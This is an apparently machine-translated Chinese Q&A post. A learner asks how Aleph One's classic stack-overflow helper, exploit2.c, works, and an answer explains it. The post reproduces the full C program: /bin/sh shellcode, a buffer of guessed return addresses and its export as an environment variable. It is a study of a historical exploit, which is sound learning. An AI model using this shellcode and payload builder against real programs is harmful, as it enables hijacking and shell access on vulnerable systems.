使用环境变量了解Aleph one的溢出

时间:2014-12-17 11:49:04

标签: c assembly buffer-overflow

我正在阅读" Smashing Stack for Fun and Profit",并使用环境变量达到了第一个溢出示例:

exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------

   Now we can try to guess what the buffer and offset should be...

现在,我理解设置表格的环境变量的整体理论&#34; NAME = VALUE&#34;, 正如我们在上面的代码中看到的那样,它是EGG = OUR_SHELL_CODE。

但是我不确定溢出发生的位置/时间......主要的返回地址是否被覆盖?希望addr?偏移是什么?我们想要达到什么样的地址?

为什么我们要查找堆栈指针的地址?我的意思是使用malloc()将在上分配内存,那么为什么我们需要堆栈结尾的地址(使用get_sp())? 另外,溢出堆中的缓冲区不会覆盖返回地址..

我们为什么要写&#34;系统(&#34; / bin / bash&#34;);&#34;? (我们在shellcode中已经有bin / sh) 它是以某种方式加载/执行环境变量的方式吗?

请在此漏洞的步骤中为我填写所有空白(尽可能详尽)。 非常感谢你! : - )

1 个答案:

答案 0 :(得分:2)

这是一个帮助程序,将创建漏洞利用程序。这不是易受攻击的程序,一个名称为vulnerable

此程序使用堆内存构建EGG环境变量,其中包含基于指定参数创建的漏洞。它假定易受攻击的程序的堆栈指针有点类似于当前程序。 offset用于取消任何差异。该漏洞利用的大小为bsize,它将包含shell代码本身,然后是shellcode开头的猜测地址的副本。这个尾随部分有望覆盖易受攻击程序中的返回地址 ,从而将控制转移到有效负载。

在创建EGG之后,程序会为您生成一个shell,以便您可以启动易受攻击的程序。您可以在原始文章中看到易受攻击的程序由./vulnerable $EGG启动。

这个漏洞利用程序生成器并不是非常好的代码,但这是另一回事。